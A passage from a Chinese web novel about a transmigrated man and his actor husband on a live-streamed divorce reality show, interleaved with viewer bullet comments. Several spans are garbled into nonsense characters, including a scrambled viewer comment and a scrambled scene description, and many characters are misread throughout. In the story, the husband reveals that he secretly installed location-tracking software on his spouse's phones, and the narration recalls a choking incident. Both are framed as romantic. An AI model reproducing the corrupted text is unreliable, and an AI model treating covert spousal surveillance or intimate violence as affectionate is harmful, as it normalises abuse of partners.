再者说,要是动起真格来,时蔺川压根打不过谢景和。 可那又怎么样? 谢景和还不是被他。得爬楼梯都要人背?被自己拒绝后还软声软语地喊他,黑亮的眼眸一个劲儿地瞅过来,像在祈求。 看了就烦。 再说一遍:他床品好。时蔺川背着人,稳健地走在林间石梯上,心中不断腹诽,就听背上的人莫名其妙地说了句,“你这样的。"对方环在自己颈间的手臂缓缓收紧,呵出来的气很潮湿,莫名的烫人。时川动作微顿,慢半拍地侧头闪躲,又听到谢景和继续道“——还是你这样的。" 这话说的,跟打哑谜一样。 谢景和还将脑袋往前凑了凑,挤到他脸边,确认道:“蔺川,你听清楚我说的话了吗?听见了吗?"时蔺川一脸被猪拱了的表情,很不耐烦地把人往上颠了颠,语气恶劣地道:“吵死了,再吵就把你丢下去。 谢景和:“哼。 时蔺川:“又在猪叫什么。” 谢景和:“我在学你。” 时蔺川:“." 区区谢景和,太器张了。得整治一下。时蔺川加快步伐,跨过几阶石梯后,作势要将谢最和扔到一旁枯黄的杂草堆里,两只手的力道卸了大半,把背上的人吓得鸣哇一声,偏偏两条腿卡不住男人的腰,下意识地大喊了一声,“爸爸,我错了!别丢我!”山林空寂,略有回音。 刚喊完,谢景和陷入沉默,一脑袋扎进时蔺川的后颈间,把整张脸埋了起来,搂着男人的手臂再度收紧。时蔺川轻轻咳嗽一声,不满道:“你要勒死我?" 话音刚落。 手臂力量放松。 时蔺川还是不满,又找茬道:“错哪儿了?" 身后那人仍旧埋着脸,说话声稍显沉闷。 他道, “………错在不该学你猪叫。” 蹲在直播间里的观众看完这段,脸都快笑烂了。【哈哈哈哈你俩,架不白吵!】【认错了,但只认一点点。】【只有我还在回味刚才那句脱口而出的“爸爸”吗?不是,影帝和他男人私下打闹也太自然了,平时是喊了多少句爸爸呀??】【.哇哦,真的有点好磕。】镜头里的两人终于走完最后一段路,距离集合地点只有十来米,导播瞬间切换镜头,将画面切到了其他几位正在聊天的嘉宾,最先看到两人靠近的是许悠。 另外三人正在聊天,他有些掺和不进去,忍不住走了神,视线移到来时的方向,骤然看到一个高大的男人背着另一人缓步走过来。 121、Chapter 121 . 不仅直播间的观众听到了这句话,站在许悠身边的另外三位嘉宾也听到了,持续了一会儿的寒暗点到即止,几人的视线顺着许悠的,朝同一个方向望了过去一 两个人姗姗来迟。 严格来说,两人并没有迟到。 只不过被收走手机的嘉宾没什么消磨时间的手段,因此在安置好随身行李之后,便依照节目组接下来的行程安排出了门,还在半路上遇到了彼此,只好不尴不尬地结伴走过来。 两组嘉宾年龄差距大,此前也都没见过面,但程说行是二十年的老演员,跟编剧段非文的父亲是老相识,也算有一个不错的开场. 节目组的保密措施做得非常好。 直到这一刻。 提前碰面的四个人揭开了最后两位嘉宾的庐山真面目。 反应最大的是程说行。 “小谢?"听着这声儿,时蔺川微微侧过脸, 看到身边谢景和脸上也带出了几分诧然,在礼貌点头的同时,还应了声,"程老师 好久没见了。两人同为演员,曾在某权谋古装剧里饰演了一对叔侄,熟人跟熟人相见,原本是一件值得高兴的事情,可如果相见的契机是参加同一档离婚综艺那就有点尴尬了。 人到中年,程说行作为演员,各方面都保持得不错,浑身透着一股子成熟儒准的气质,仿佛泰崩于眼前也能面不改色,此时见到那个动作笨拙地从伴侣后背下来的后辈,却忍不住露出一抹惊讶的神色。 总不能寒暄一句"好巧,你也来离婚’吧? 好在六位嘉宾首次聚齐,理应轮流自我介绍一番。作为最后来的一组,谢景和打完招呼,不自觉地拾手揪住身边男人的棉服袖子,向众人介绍道:这是我先生,时蔺川。“时蔺川还是第一次听到谢景和这样称呼自己,忍不住侧脸警了他一眼,发现他说完话轻轻抿了一下唇,嘴角随之翘起来。像是盛夏时节舔了一大口蜜瓜口味的冰淇淋。藏不住的欢喜。时蔺川觉得好笑,似乎自己跟他打闹了一小会儿,又背着他走了几步路,这个人就全然忘记之前的不愉快,并为在人前喊出这个独特的称呼而感到由衷的欣喜和依恋。 喊 区区谢景和。 简单聊了几句,节目组开始推进下一个流程。 导演站在镜头后,扬声道:“各位嘉宾舟车劳顿,节目组特地为大家准备了丰盛的午饭,希望大家在享受美食的同时,也能熟悉一下同行的嘉宾。 众人对视一眼。 看来, 这不鉸聿赪末訳秀一巰瑶顿简覗祮澜伿秃的饭了。 不过这也在众人的意料之内。毕竟是在拍摄真人秀,不可能真的让观众看嘉宾平淡无奇地吃饭,节目组必然会设计诸多具有看点的环节,。 光看集合地的布置,就可见一斑。 十二点了。 阳光毫不费力地穿透云层,洒在每个人的身上。 众人集合的地方是一片平坦的空地,草皮浓密但枯黄,一侧是来时的山林小路,另一侧是被巨斧劈出来的一截断崖,陡峭垂直,边缘处设置了围栏链条,看起来锈迹斑斑。 断崖的边沿,长了棵粗壮的老榕树,根茎暴露在外,又顽强地往石块里钻,展现着巨大的生命力。 崖后,是一片波光粼粼的海平面。 节目组已经提前摆好了桌椅。 两两一组,分成了三桌。 桌子中央摆了一个按铃,两侧各有一块手写白板和黑色马克笔。 待众人入座后,看到镜头后的导演打出一个信号,随后穿着纯白厨师服的专业厨师带着一大票助手入了镜,炊具和食材很快就位,俨然一副要给嘉宾现场烹饪的画面 导播适时切换镜头. 视频中,厨师手持刀具处理着食材,动作流畅,极具观赏性,而一旁的铁板已经开始煎制配菜,油脂讲裂,发出滋滋的声音,让观众隔着屏墓都能嗅到食物的香气 这时,导演的讲解声响起来。 "为了让大家更好的破冰,以及进行伴侣之间的婚姻问卷抽査,上菜前,节目组会提出问题,只有回答正确的伴侣能得到菜品,请各位嘉宾努力作答哦。 不仅是嘉宾,弹幕也有了反应。 【懂了,考验默契度吧?只有回答一样才算正确。】 【本来都打算退出去先吃个饭了,节目组来这一出?舌尖上的离婚是吧?行行行,你最好提点刺激的问题让我下饭!】 【手里的外卖瞬间不香了】 【让我看看是谁吃不上饭[看戏jpg]】 阳光稍暖。 风也停了,只留个尾巴轻扫着人的脸, 时蔺川跟谢景和坐在中间那桌,静静望着几米外的忘饪实景,以及厨师团队身后的苍蓝海域,不得不说… 这样的就餐环境别有一番滋味。 很快,第一个问题被端上了桌。 节目组的提问从简到难,前面几轮都是送分题,比如结婚日期、生日等等,三组嘉宾都轻松答了上来,桌上分别多了几盘菜。 份量很少,明显吃不饱。 镜头外是一群围观的工作人员,导演举着小喇叭提出要求:“接下来,请伴侣中的一人现在白板写下两人第一次见面的地点,和当时所穿的服饰,另一人再用语言描述…. 听到这个问题,时蔺川转笔的动作一顿。 男 /火大 他不认为谢景和能答对。 按照书中世界的设定,他跟谢景和小时候在福利院有一段际遇,但对于他本人而言,三年前的街头才是跟对方初次遇见的地方。 “蔺川,你来写还是我来写?” 正思忖着,身边那人挪动着椅子凑过来,在他脸边轻声道:“厨师做了炙烤小排,你喜欢吃,这道菜我们要拿到到" “诶诶,请嘉宾不要交头接耳!" 谢景和话没说完,被导演抓包制止。 时蔺川就见他像是课上开小差被发现的学生,低着脑袋把椅子挪了回去,眼睛却还黏在自己身上,淡声道:“我写,你来说。 可意外发生了。 意外还是发生了。 时蔺川吹着风,听到身边人按响了铃,嗓音清朗,演员的台词功底让他的吐字极有韵律 谢景和准确报出了一串日期和地点。 再然后,是男人当时很商务的穿着打扮。 在导演公布白板答案之前,时灌川像身边人之前做的那样,微微那动椅子凑过去耳语,“你脑袋真坏了?全都说错了,我们第一次见面的地点是福利院,为什么要说那天? 闻言,谢景和愣了一下。 随后他的表情呆滞,逐渐转为懊悔,颇有扼腕叹息的意味,时蔺川盯着他的表情,忽然抬起手,用食指和中指用力夹住他的鼻子,面无表情地说:“笨死你算了。谢景和有点沮丧地让他掐,不敢反抗导演眼尖得很,手里的小喇叭音量尤其大,再次提醒道:“诶诶,请嘉宾不要欺负其他嘉宾!”时蔺川从善如流地撒开手,满脸不以为意。 这算什么欺负? 就算欺负了,那又怎么样? 谢景和他活该。 等到导演让另外三位嘉宾揭示白板上的手写答案,时蔺川淡定地举着空白的板子,与此同时,他侧头迎上谢景和的视线,脸上浮现一抹很轻佻的笑,很不走心地说了句抱歉“我忘了,所以没写。谢景和盯着男人,脸上写满了质疑.下一瞬。“没事,我也没答对,”他抿着唇,有些失落地道,“就是小排没有了,你又不喜欢吃海鲜由于地理环境,这顿午饭的食材大多为海产生鲜。谢景和没有躲,只是被掐完,捂着脸抗议道:"导演说了嘉宾不要欺负嘉宾。时蔺川哦了一声。然而他的手又举起来,悬在半空做出一个要掐人的手势,同时淡声问道:“那导演说了算,还是你先生说了算?"谢景和立刻把左颊肉凑到男人的指下,凑出左右相称的痕迹。等时蔺川掐完了,他只纠结了一秒,然后盯着男人喜怒不形于色的沉静表情,小心翼翼地确认道:“蔺川,你现在心情好像还不错?“可以告诉我为什么吗?他有些不理解,但正如先前说的那样一谢景和渴望了解自己熟悉又陌生的爱人。时蔺川只是轻轻瞟着他。 风变大了。 让人口舌生津的肉香味道顺着风飘过来,扑鼻芬芳,香料经过充分煎烤烘制,弥散着独特的风味。谢景和被裹在风里,像是一粒刚被剥出来的新鲜荔枝,水润清甜。 无端让人想咬一口,解解腻。 当然了。 这不代表他对谢景和抱有不可言说的好感、亦或是类似于喜爱这种情绪。时川在心里默默想着。 只是。 只是……. 时蔺川瞟着他,忍不住说了句, “你问我,我问谁?" 122、Chapter 122 .. 这顿午饭持续了近一个半小时。 在一连串的问答竞争与周旋闲谈中,几位嘉宾之间的尴尬气氛被打破,聊天时的状态放松了许多,也没那么顾及社交距离了。 谈话中,众人的性格初显。 许悠和段非文这对夫大婚龄最短,平均年龄也最低,一个是说话人大咧咧的社牛,另一个是内敛腼腆的文人性子;而两位前辈待人都很谦和体面,彼此之间却有些客气疏离。 在直播间的观众看来,最有意思的还是婚龄三年的午时组. 谢景和自然不用多说,塑造出多个经典人气角色的影帝第一次参与这种婚姻观察类的综艺真人秀,这件事本就充满了噱头,让人忍不住想要探究 然而,此刻。 评论区和弹幕讨论最多的,却是他的丈夫。在六人嘉宾中,时蔺川大概是最格格不入的那个。当然了,并不是说他态度冷硬不友好。尽管男人的五官和气质看上去很冷峻,眼神亦是漠然,但他与另外四位嘉宾交流时不各于礼貌性的微笑,也并非沉默真言之辈一只是男人对内对外的反差实在太大了,以至于长了眼睛的人都能看出来【素人哥,他真的,明明长着霸道总裁的脸,结果干的全是小学生的事儿啊,前一秒对长辈微笑点头,下一秒回头看了眼影帝,直接提筷子把人家碗里的香辣虾吃了。你碗里!不是还有吗!让他吃啊!】【然后影帝还帮他剥剩下的】【哥们儿,你是这个[竖大拇指]】 【素人哥你在干什么啊,不忍直视了,前半段又是掐鼻子又是掐脸的,下手忒重,让我幻视了小学坐在我后座疯狂扯我头发的熊孩子!】 【但是影帝主动把脸凑上去了耶。】 这时,又一堆省略号飘了过去。【侧面证实了影帝是纯天然脸,没整。[喝茶看戏]】【不知道为啥,我也好想把脸凑上去给他掐,歪着脑袋瞟人的表情太有主人风范了,而且眼镜链完全是我的好球区!!】【醒醒,且没离呢,人家目前还是有夫之夫。】(离不了吧?掐来名去,压根不聊课这俩儿答题呀,全程只错了一题,是二组里面成结绩最好的,不是有剧本就是有感传基础,开始怀轻这档总艺是两人官言和道粉的小交招了,别忘了素人哥是NO1老板,影亮现在是他旗下的艺人兼老板娘。】【那应该是离不了了,利益捆绑关系。】 【.】 饭后,已是午后两点了。 此前只不过是节目组的预热环节,目的是让观众进一步了解各组嘉宾,以及推动众嘉宾打破社交壁垒,为接下来的重头戏做铺垫。 导演拎着小喇叭,指挥众人移动到隔壁场地。 崖边榕树下。 一顶可容纳多人的帐篷支了起来,中间摆放着一张圆桌,桌上是露出广告商标的零食饮料,以及一个空的玻璃瓶。 桌边则围了六张折叠椅。 场景布置得闲眼话,很话会年后注动众人落了座,才听到导演用充满椰输的语气继续说:"之前是节目组向各组嘉宾提问,问题也都只聚焦于件侣双方,感觉还是比较有局限性的,相信大家对其他组嘉宾也很好奇 “所以,导演一个大喘气,卖了个关子。然而多年混迹酒吧夜场的摇滚歌于许悠一眼看出端倪,顿时高举着于抢答道:“玩真心话大冒险是吗?有什么内容限制吗?"听到这话,导演面色一凛,十分正直地道:“符合法律法规,别让咱们直播间被封掉就行!许悠跟他一唱一和,唱衰似的长嘘一声。 节日效果拉满。 不过节目组考虑周全,早就制定了一套规则。 规则如下: 被瓶子指中的嘉宾必须接受其他人的真心话提问,伴侣则没有提问资格;若是嘉宾回答不上来,伴侣却要代替对方接受大冒险惩罚,。 许悠听完,吐槽道:“搞连坐啊?本来就想离婚了,这不是激化矛盾吗?导演组你们未免也太歹毒了!" 导演笑得像狐狸,不为所动地道:“游戏开始之前,麻烦嘉宾们跟着我宣誓,我一句,大家一句哦,都要说的哦。“我发誓众人跟着念。“在接下来的真心话环节中绝不撒谎导演持着扩音喇叭,音量震耳:“否则,就失去这辈子自认为最重要的东西,再也找不回来!"待六人齐声跟念完,导演立刻解释道:“这可不是封建迷信,只是给大家来一点心理暗示,以确保游戏真实性,相信审核员和观众们都会理解的。【理解,知道你怕被封了!】【哈哈哈哈哈求生欲拉满,综艺节日也要叠甲吗?】 【直播,说这些。[狗头]】 讲解完规则后,游戏很快进入正题。许悠顺势接过了游戏主持人的身份,俯身展管,咻的一下转动了放置在桌面中央的瓶子。玻璃瓶身飞速旋动,残影晃成了一个圆,数秒后放慢速度,发出咕噜噜的擦响。最后,瓶口宛如大转盘的指针,指向了在座其中一人。众人的视线随之投了过去,目光炯炯,而视线的焦点,时蔺川只是面色平静地警了眼正对着自己的玻璃施口,听着几人两三句商议出按照座位顺时针的次序提问,然后推出了第一个提问的嘉宾。坐在斜对角的戏曲教授是在场唯一位女性,气质温雅,眉梢却带着坚韧风骨。她说话的语调抑扬顿挫,跟所有人都不太一样,很好听。 “小时,我问你”"她思量几秒,问道:“你们家,谁做主呀?问题不算尖锐,也不难回答。时蔺川干脆利落地道了声, “我吧。 说完,他还扭头看向坐在自己左手边的人,反问:“我这么说,你有议吗?谢景和靠坐在木椅折叠躺椅里,正全神贯注地盯着男人,听他突然将话头转向自己,迟了两秒才回过神来,连忙摇了摇头,发梢微颤.时蔺川满意地转回头,迎接下一个问题,程说行的视线在比邻而坐的两人身上左右移了移,开口问道:“之前吃饭的时候,听小谢说你们是在一家街边小酒吧遇到的,可以说一下你对伴侣的第一印象吗?"仍是一个保守性的问题。男人却莫名卡住了。时蔺川盯着一只顺着桌腿往上爬的虫子,思绪乍然回到三年前刚穿越之时,那时的自己耐着性子看完原著小说,对书中主角[谢景和格外看不惯,满肚子的阴暗念头, 正当时。 系统提醒他,主角出现,第一个任务开始。时蔺川顺着系统的提醒往某个方向望过去,就看到一个将自己的脸遮得很严实的人坐在街边长椅上,身上的服装很有设计感,露出两载修长劲瘦的臂膀,腰间银链闪烁,看起来格外年轻出桃。事实也正如此。那时候,谢景和只有二十四岁。街上很热闹,他一个人坐在那里,眼睛藏在阴影里,凝视着路过的每一个人,手上把玩着一只打火机 咔。 H。 小小的火苗燃起来,又一次次被银色盖帽扑灭。 约莫两分钟后。他一手举起打火机,另一只手悄悄将口罩扯开一个缝。火光驱逐了帽檐下的黑暗,并在那双漆黑眼眸中点燃两族小小的火光,明亮似星,可他却没有发现不远处有一个提着公文包的男人正虎视助肤地凝视着他,宛如匍匐于暗处的野兽,冰冷的视线将他笼罩呼的一下。 焰火被他吹灭,像是吹灭生日蜡烛一样。 然后他站起身,拍拍裤子,大步往前走去。 这便是初见了。 比谢景和自以为的酒吧更早一些。 偶尔的,时蔺川的脑袋里有一丝念头忽闪而过:在那个无人在意的角落,尚且年轻的谢景和到底许了什么愿望呢? 不管是什么愿望 他才不在意。 时蔺川收回心神,简单概括着自己对谢景和的第一印象. 幼稚的小屁孩。 然后, 他当晚就把那个幼稚小屁孩睡了。 哭了半宿,趴了三天。 听到这个回答,两个前辈笑而不语,编剧段非文性格内敛,抿着唇围观,许悠却放得很开,主动带动游戏气氛,调侃道:“时哥,你这回答是不是有点爹味了?"时蔺川面不改色,淡道:“他缺乏父爱。听着其他人的闷笑声,被锐评的谢景和没反驳,只是默默举着一瓶果汁饮料遮住了自己的眼睛,耳朵有些烫接下来,轮到段非文提问。编剧的心思比较细腻,沉思片刻,轻声问道:“如果早就知道双方会走到离婚这一步,重来一回,你还会选择跟伴侣结婚吗? 这是个稍有哲思的问题。 但对于时蔺川来说,没有任何意义。 因为任务。 他就是奔着离婚,才跟谢景和结的婚他不咸不淡地嗯了一声,同时偏眼去看谢景和,发现这人果然借着饮料瓶的遮掩偷看自己,眼眸中满是纯真的喜悦,嘴角也忍不住弯了起来,含蓄而甜蜜….记吃不记打的傻子。时蔺川莫名不爽,恶狠狠瞪了他一眼。 你就笑吧。 看你能不能笑着过完今天。 这轮提问的最后一人是许悠。 许悠的性格外放,综艺感很足,跟节目组的化学反应非常好,甚至还会主动抛梗,就见他冷不丁扭头看向镜头后的导演,扬声道“导演,感觉大家都太拘谨了,我能问劲爆一点的问题吗?要是节目开播第一天就被封了,我不会有事吧?提前说好,我可付不起赔偿金啊。闻言,导演背着手走来走去,一副想要话题又挣扎的模样,最后长叹一口气冲许悠挥了挥手,俨然是任他发挥的态度了。这番互动逗得屏幕前的观众乐呵得不行。许悠说了通大话,实则也有些不好意思。他喝了口水,捏着瓶子挡住自己的嘴巴,语速飞快道:“时哥,请说出一个你隐瞒伴侣,至今没有让他知道的秘密。那可太多了。 “他每年换的新手机都是我送给他的,在交到他手里之前,我在手机里安装了定位监控,他不知道。时蔺川仍旧淡定,从满篓子的秘密里挑出最不起眼的一个,缓声慢道:话音刚落。落了个满场寂静。不管是在场的嘉宾还是工作人员,亦或是屏幕前的观众,都被这句信息量大到爆表的话震住了,气氛凝滞了好几秒都没缓过来。现场仍是寂静,弹幕已经爆炸了。【我是不是听错了??】【卧槽,这是能放到节目上说的吗?!素人哥是真不把我们当外人啊!我看许悠都瞳孔震惊了,他大概做梦都想不到自己提出的问题能得到这么劲爆的回答吧.….」【这是真劲爆,没见连两位大前辈都接不动话了吗。】【娘咧,节目组的导播是谁,真是神人,这种时候还能反应迅速地把镜头切成影帝特写,你活该挣这份钱!】【啊啊啊啊啊啊疯狂尖叫!!】【啊啊啊啊我听到了什么!影帝你说了什么!!】时间倒回一分钟前。 时蔺川直截了当地掷出炸弹,炸得满地生烟,无人吭声。 123、Chapter 123 .. “吭啷道路黑暗,土墙的表面粗糙极了,时蔺川将谢景和按在那里撕咬亲吻,过程中不甚踢倒了墙角一株不起眼的盆栽,陶泥罐撞在石头上,发出一声脆响。像是一个休止符。时蔺川随即退开。他的唇湿润而刺痛,冷风拂过表面时将温度掠夺,耳畔是谢景和大口喘气的声音,鬼使神差地与自己不受控的心跳同了频,怎么都按耐不下。于是,时蔺川无声默念了一句带有魔法的咒语。 一遍又一遍。 三年间的第千百万遍。 谢景和靠在墙上,他低头靠在谢景和的肩膀上,感受到对方偏过了脑袋,跟自己脸贴着脸,温热的呼吸打在他微凉的耳垂上,似一阵回暖的风,轻柔地抚摸着冬夜的寒寂。 风晃动着世界,吹散了咒语里的魔法。 而时蔺川无可奈何。 良久。 他终于归于平静,然后沉默地直起上身,拾脚往不远处那栋亮着微光的建筑物走去。被他强吻得喘不过气的人也很安静,只是没走两步就伸手拉住了他的棉祆下摆,仿佛生怕在这条小道上迷了路。鞋子摩擦泥土地面,发出沉闷的沙沙声。月亮在头顶, 灯光在前方。谢景和踩着男人的影子亦步亦趋,时蔺川两只手塞进兜里,慢悠悠地走着,似乎没有感受到身后传来的一阵拉力,像是生来就长了一条烦人的小尾巴,拿刀割也割不掉他已经,不知道该怎么办才好了。无论他怎么做,谢景和就是不肯停下。 院门檐下,一盏灯泡老练地担起了引路星的职责,将两位暂住者迎进了门,微黄的光亮扫过两人面庞,把红肿的两瓣唇映得潮润发亮 谢景和此时看上去有些狼狈。 他之前被男人一把推到土墙上,蹭了满背的灰,尤其是肩胛骨的位置,黑色毛衣突兀地灰了两块,裤脚和鞋面也沾染了陶泥罐里的土粒 二楼,卧室内。 时蔺川回身扫了一眼,嫌弃道:“脏死了。" 谢景和也顺着男人的视线,低头看了一眼自己的白色波鞋。他的下巴杵着高领毛衣的边缘,衬得他脸很小,说话声也小 "明明是你推了我,也是你踢倒了泥。 还说他身上脏。 时蔺川不主动把人惹哭就算好了,怎么可能跟他讲道理,立刻无情地哦了一声,还熟练地倒打一耙道: “那你怎么不推开我?没长手?" 长了的。 当时抱在他腰上呢。 谢景和盯着男人,突然道:“你真幼稚。”说完就转身放倒了自己的行李箱,从里面翻出一套换洗衣物,闷头进了卫生间,还不忘将沾了灰的鞋子放到门外。 卫生间狭窄,紧凑。 镜子是钉在墙上的,下端还横着一条裂纹。 谢景和褪掉上衣,发现镜中人颈间的痕迹已经减轻了许多,或许睡一觉起来就全部消退了,随后他忍不住拾手摩挲了两下自己的唇,闭上眼似乎还能感受到男人猛烈如狂风骤雨的吻。 光是想想,就觉得有些热。 谢景和小声抱怨,声音被淹没在水声中 ".…为什么要推开啊,那么舒服。 只要是时蔺川给的,他都舒服。 屋外。 出于爱干净的生活习惯,时蔺川随手扫了个地,在放扫把和能算的时候余光警见谢景和的鞋子,脏今兮的着实有些碍眼,便顺手打理了一下,最后才站到走廊上,点了一支烟水泥浇筑的围栏有些低矮,他又长得高,只好弓着背,两只手肘杵在冷硬的栏面,敛眸看着叼在唇间的烟头焰光,身后是隐约的水声。舌头有点痛。 谢景和的牙还挺尖,真不知道是谁强吻谁如此想着,时蔺川莫名有种碗里的肉跳起来打他嘴的错觉,很不爽地喷了声,而后长长地吸了一口气,学着那个谁吐烟圈的模样,啵啵啵地吐出几个小烟圈,不过还没成形就被夜风打散了。两支烟的功夫,谢景和从卫生间里出来。透过窗,时蔺川看见他穿了一身加厚带绒的墨蓝色睡衣,外头还裹了件黑底白杠的)冲中锋衣外套,拉链从头拉到尾,领子高高地竖起来,遮住了脖子却遮不住手腕,做高拾手的动作极有可能露馅。因此,他正在屋里拎着吹风机,半天没动。时蔺川踱步进屋,凑近后,不可避免地嗅到谢景和身上的味道。那是对方从家里自带的沐浴产品的味道,清浅的椰香里混合着奶味。有点甜。 时蔺川站到谢景和面前,一手关掉收音设备的开关,另一手从对方手里薅走吹风机,同时不咸不淡地问了句,“要不要我帮你吹?"说话时,指头已经按下开关了,两人跟安装卧室角落的固定摄像头有一段距离,吹风机的呜呜声起到了掩盖作用,时蔺川拾手将出风口对准谢景和的脸,问道:“还痛不痛?谢景和被吹得猛地闭眼,没听清,反问:“什么?时蔺川只好凑到这人的耳边,更加直白地说了一句话,惹得谢景和面颊倏然爆红,当即抬手堵他的嘴,眉眼浮现一丝羞赧之色在录综艺呢,你干嘛呀。”他的手也残留着沐浴露的香味 时蔺川揭开上服皮,发现他的表情看起来居然有些纯情,像是两人刚交往那阵子,连脱衣服都要盖着被子,遮住盛满欲|望的躯体哼,瞧不起装纯的人。时蔺川冷脸吹头发,把谢景和吹得五官皱成一片,忍不住轻声念叨起来,语调上扬,“我要是英年早秃,就是你的全责,知道吗?话音刚落。 男人举着吹风机突突他的脸,像个没有感情的杀手。 少对我撒乔。 谢景和欲言又止,止又欲言。 他就正常说句话,算哪门子撒娇啊.? 真是比窦娥还冤。 待时蔺川从浴室出来,时间已经不早了即将十点,直播间临近尾声。节目组的工作人员就是这时候过来的,并向两人宣布今日直播的最后一个环节。另一人的手中拿着任务卡片,以及其他需要用到的道具。时蔺川从青年手中接过卡片,按照节目组的要求,和谢景和肩并肩站着,在镜头前齐声念出印在内页的小字。"…请嘉宾对今日的体验进行自省,认真考虑后,做出''是否想要离婚”的选择,有离婚意向按红灯,无离婚意向则按绿灯。"以此作为当天直播的结束回面。 晚间近十点,正是直播间流量的高峰期。 在观众的眼中,视频如先导片那般,画面被竖线等分成了三个部分,陆续展露着三组嘉宾的姻选择。当画面切到某一组时- 就见裹着冲锋衣的男人坐在椅子上,沉默地低着头,乱蓬蓬的发丝遮住了发旋。他身边的男人单手插兜站着,忽然弯腰将脑袋伸到他的脸下,语调平淡地道了声 “哭了吗?" 124、Chapter 124 时蔺川没能看清谢景和的脸。 这人垂着脑袋, 两只手揣在冲锋衣的口袋里,脸都快埋到肚子里去了。看上去圆鼓鼓的一团。 随着直播结束、工作人员和跟柏师一同退了场,走时将桌上的红绿灯道具带走了,还顺手合上了门,屋子里要时只剩下他们两个人,角落里的固定摄像头还在勒勤恳展地工作,记录着剪辑素材。 时蔺川直起腰,故意打了个长长的哈欠,然后慢悠悠地往床边走去,边走还边说风凉话:“不理我就算了,那我自己先去睡觉,了 就在这时候。 身后传来一道刺耳的响动。 是椅子的木头腿在水泥地面划出的噪音。 事情发生得太快了,时蔺川压根来不及回头,就被身后的人一个小擒拿,面朝下地按倒在床上,紧接着谢景和一屁股坐在他腿上,抄起枕头疯狂地往他身上打! 崭新目蓬松的枕头打在男人身上,砰砰响。"…时蔺川,你是不是有毛病?!"被狠狠吻过的谢景和声音里满是愤怒,其中还夹杂着浓烈的委屈和不解。他已经顾不上许多,两只手像是高举着一块大石头,杀人泄愤一般地往男人的脑袋和背上砸!男人却舒服似的偏过脑袋,一动不动。 睡着了一样。 谢景和砸了数十下才停下,不知是热还是燥,他的额头冒出细密的汗水,胸口的火一直烧到了眼睛里,水汽从阀口冒出来。 力气也一道泄了出去。 他甩开枕头,用力眨了几下眼睛才看清男人的侧脸。 时蔺川阖着眼,半张脸埋在纯白的被褥里,宛如一具卧在茫茫雪地中的尸体。谢景和莫名有一种他已经死了很久的错觉. 可就在这时候。 尸体说话了。 他说,“你才发现?谢景和,非要跟我在一起就是这个下场知道吗?不止是今天,也不止是未来这一个月.….所以说,不要以为我们之间发生了亲吻办或是其他亲密行为,就对我产生不必要的期待。”如果你不肯放手,最好做好心理准备,我不是什么好人,迟早会让你对婚姻与爱情绝望。说到这里,男人还扯了扯嘴角,很得意地无声微笑。迟早的事。 他吐出的每一个字,都掷地有声。闻言,谢景和的神情有些怔忪。他突然想起了前夜男人跪伏在自己身上,双手掐颈,眸子里衔着切骨之怨,似乎想要在什么不可预料的事情发生之前,就先将他格死了事。可他哭了。那是时蔺川第一次在自己面前哭,感情浓烈如波涛的潮水,将他重重拍打在岸上,让谢景和许久不能回神,倏然间。 男人趁机翻身坐起来,把他掀翻在被子上,眼神往他脸上一扫,便拾手蹭了一把他的服角,然后在谢景和本人面前展示着湿润的指腹,像是达成了什么小目标一样,很轻悠地道了声“我就说吧,你果然又要哭的。时蔺川捻着手指反问:“很伤心?"谢景和被他这铁血渣男式的言论激得叛逆心起,脑子一热,快嘴反驳道:“所以你那时候哭得那么厉害,也是因为伤心吗?我让你觉得伤心了?时蔺川的脸顿时垮了下来。 空气沉寂了几秒。 时蔺川臭着脸,猛地拾手捞起刚才被谢最和丢到一边的枕头,作势要用枕头捂死他,没想到谢景和反抗得厉害,四肢一个劲儿地扑腾,还哈声道:“你是不是恼羞成怒了?’时蔺川杀心渐起。然而,此刻的谢景和却不肯引颈待戮。 不出一会儿的功夫。 枕头、被子、以及床单都被他们折腾得一塌糊涂,皱巴巴地滚成一团,四只拖鞋歪歪扭扭地甩在地上,无人问津。 两个人面对着面瞪眼,皆是气喘吁吁的样子,没有半点成年人的风度。 尤其是时蔺川。明明翻过年就是三十三岁的人了。谢景和也不遑多让。他直勾勾地瞪着男人,眼眶里的湿红早就在刚才那番打斗中消退了,头顶快要冒出烟。时蔺川亦是如此。只是对视两眼,两人便又缠斗起来,不知道是谁用飞的枕头打到了墙上的电灯开关,啪的一声响后,房间骤然陷入一片黑暗:也不知道是谁先翻倒在了柔软绵厚的被子里,可等两人反应过来的时候,他们已经结束了一个吻,。吻得激烈、疯狂、气势汹汹。 宛如争斗。谁也不肯放过谁。昏暗中,时蔺川背手揩了一下唇,擦掉嘴角牵出的银丝,舌尖的破口被另一个人吸得隐隐作痛,没好气儿地说了句“看来你是不痛了,恭喜啊。”冷冷的月光穿过玻璃窗,漫了进来。屋子里笼罩着暗影,只能隐约分辨出人的轮廓,可谢景和的那双眼收敌了一地的月光,很透亮,直愣愣地盯着自己看,看得时横川一阵心烦,忍不住掀起被子,一把将他的脑袋盖了起来“睡觉!”谢景和唰一下掀开被子。 “床上只剩一个枕头了,怎么睡?" 时蔺川撂下一句,“你自己去捡。 谢景和又说:“捡回来也脏了,都是灰。 时蔺川被他吵得不行,只好将就着,把自己的枕头分他一半。不过两人争执打闹了许久,困意早就飞到十万八千里之外了,双双默不作声地躺了近一个小时才觉得眼皮微沉 在快要睡着的时候,时蔺川忽然听到那人轻声说道:“菌川,我不知道你为什么突然要这样对我,但你说的那些话-一讨厌我,故意装成温柔的样子来骗我,其实我都不太相信.…. “我觉得," 谢景和停顿了一下,用气音往下说, "你只是想让自己看起来很坏,然后把我吓跑、赶跑。 时蔺川闭着眼,假装没有听见。 可谢景和不依不饶,一点点凑过来,将嘴巴凑到他的耳边,继续轻语道:“你确实很坏,不仅偷偷在我的手机里装监控,还突然变脸,对我说那些过分的话,你分明知道我没有做对不起你的事情,不是吗? “我都快被你气死了。” 时蔺川的耳根子被他呼出来的热气吹得发痒,忍不住扭头躲避了一下,开口回应道:“那你还按绿灯?能不能硬气点?别一副没见过世面的样子,什么男人都要。 谢景和却道:“我就是要你。 好歹夫大一场,时蔺川秉持着最后一点良心,规劝道:“谢景和你是不是有受虐癖好?去看看心理医生吧,不要讳疾忌医。 谢景和:“…………你是在转移话题,还是在故意气我? 时蔺川:“你管我呢?" 谢景和:“我能说句实话吗?" 时蔺川不肯好好说话,只道了声, 